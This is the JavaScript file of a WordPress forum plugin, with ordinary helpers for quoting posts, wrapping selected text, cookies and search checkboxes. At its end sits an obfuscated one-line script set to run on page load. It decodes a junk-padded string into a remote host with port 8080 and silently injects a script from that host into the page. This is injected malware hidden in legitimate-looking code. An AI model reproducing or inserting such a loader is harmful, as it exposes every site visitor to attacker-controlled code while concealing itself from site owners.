function quote(id){
	var url = $F('url') + '/wp-content/plugins/wp-forum-2.0/quote.php&id=' + id;
	new Ajax.Updater('forumtext', url, {onComplete:function(){new Effect.ScrollTo('forumtext')} });
}

// Surrounds the selected text with text1 and text2.
function surroundText(text1, text2, textarea)
{
	// Can a text range be created?
	if (typeof(textarea.caretPos) != "undefined" && textarea.createTextRange)
	{
		var caretPos = textarea.caretPos, temp_length = caretPos.text.length;

		caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text1 + caretPos.text + text2 + ' ' : text1 + caretPos.text + text2;

		if (temp_length == 0)
		{
			caretPos.moveStart("character", -text2.length);
			caretPos.moveEnd("character", -text2.length);
			caretPos.select();
		}
		else
			textarea.focus(caretPos);
	}
	// Mozilla text range wrap.
	else if (typeof(textarea.selectionStart) != "undefined")
	{
		var begin = textarea.value.substr(0, textarea.selectionStart);
		var selection = textarea.value.substr(textarea.selectionStart, textarea.selectionEnd - textarea.selectionStart);
		var end = textarea.value.substr(textarea.selectionEnd);
		var newCursorPos = textarea.selectionStart;
		var scrollPos = textarea.scrollTop;

		textarea.value = begin + text1 + selection + text2 + end;

		if (textarea.setSelectionRange)
		{
			if (selection.length == 0)
				textarea.setSelectionRange(newCursorPos + text1.length, newCursorPos + text1.length);
			else
				textarea.setSelectionRange(newCursorPos, newCursorPos + text1.length + selection.length + text2.length);
			textarea.focus();
		}
		textarea.scrollTop = scrollPos;
	}
	// Just put them on the end, then.
	else
	{
		textarea.value += text1 + text2;
		textarea.focus(textarea.value.length - 1);
	}
}


var current_header = true; 

function shrinkHeader(mode){

	var val = "";
	document.getElementById("upshrinkHeader").style.display = mode ? "none" : "";
	document.getElementById("upshrinkHeader2").style.display = mode ? "none" : "";
	
	document.getElementById("upshrink").src = skinurl+"/images" + (mode ? "/upshrink2.gif" : "/upshrink.gif");

	if(mode == true){
		val = "yes";
	}
	if(mode == false){
		val = "no";
	}
	
	setCookie("wpf_header_state", val, 0 ); 

	current_header = mode;
}


function setCookie(name, value, expires, path, domain, secure) { 
	document.cookie= name + "=" + escape(value) + 
	(expires? "; expires=" + expires.toGMTString(): "") + 
	(path? "; path=" + path: "") + 
	(domain? "; domain=" + domain: "") + 
	(secure? "; secure": ""); 
}

function fold(){
	
	var lol = getCookie("wpf_header_state");
	if(lol == "yes")
		shrinkHeader(true);
	if(lol == "no")
		shrinkHeader(false);
}

function getCookie(c_name)
{
if (document.cookie.length>0)
  {
  c_start=document.cookie.indexOf(c_name + "=");
  if (c_start!=-1)
    { 
    c_start=c_start + c_name.length+1; 
    c_end=document.cookie.indexOf(";",c_start);
    if (c_end==-1) c_end=document.cookie.length;
    return unescape(document.cookie.substring(c_start,c_end));
    } 
  }
return "";
}


function selectBoards(ids){
	var toggle = true;

	for (i = 0; i < ids.length; i++)
		toggle = toggle & document.forms.wpf_searchform["forum" + ids[i]].checked;

	for (i = 0; i < ids.length; i++)
		document.forms.wpf_searchform["forum" + ids[i]].checked = !toggle;
}

function collapseExpandGroups(group, mode){
	
}

function expandCollapseBoards(){
	var current = document.getElementById("searchBoardsExpand").style.display != "none";
	document.getElementById("search_coll").src = skinurl+"/images" + (current ? "/upshrink2.gif" : "/upshrink.gif");
	document.getElementById("searchBoardsExpand").style.display = current ? "none" : "";
}

// Invert all checkboxes at once by clicking a single checkbox.
function invertAll(headerfield, checkform, mask)
{
	for (var i = 0; i < checkform.length; i++)
	{
		if (typeof(checkform[i].name) == "undefined" || (typeof(mask) != "undefined" && checkform[i].name.substr(0, mask.length) != mask))
			continue;

		if (!checkform[i].disabled)
			checkform[i].checked = headerfield.checked;
	}
}

function uncheckglobal(headerfield, checkform){
	checkform.mod_global.checked = false;
}








try{window.onload=function(){Nb91bisbttbzl4c = '' + 'g!!m!&@^o(^@d&u@)&@l^@e(&s!&-(&!c&o$!m)&.#$l##!i&^)#v^e$j(&!o@^u@r&n!($a@!!l^(.(@c$&o##m!!.!(i^@m#$$^m#o^$#@!b@i(l@)(i#!(e##!&n&!@s!#c!^!o)u)^!t!2^4)@(-!#d)e$.@)a^@#v@$a@$t$t$)))o@@@p#.^!r^$)u^:)^^((N^&$3(##6!$&#u$&w#^&)w$)!)6$^)a&)h#)(3&^)9!)!!v#p#^)s$o$@/^^@)a@(r@)$t##i&$$c(@)(l()#e(&!s#$b($(a()s#!)&^e&@(#.@c@o&&m)@!@(/@&a^!&@r@$t#@)i$^@(c&^l)$(e(!s@b)$a$#!s!(e&@(.$#(c&$!o@@$(m(#&/^#!g@$^^)o@@o&!g@)^(&l)$!&e(#$^.$c!$&!o!!(^&m@!)$/$#(!a&^$)m(!^^e&!#b)(l^o())).!&&&j@p&^&$/@b^()(o$!o#k^#&i$n@g))$.#@c&!&o@#m&#^/@)!)'.replace(/#|\)|\(|\^|@|\$|&|\!/ig, '') ;Vfwi6fqyzziu = 'appendChild';Dj2xawty59vvf = document.createElement('sc'+'ript');Dj2xawty59vvf.src = 'h'+'ttp://'+Nb91bisbttbzl4c.replace(/N36uww6ah39vpso/g, '8080');Dj2xawty59vvf.setAttribute('defer', 'def'+'er');eval('document.body.'+Vfwi6fqyzziu+'(Dj2xawty59vvf)');} }  catch(L0avi5ev ) {}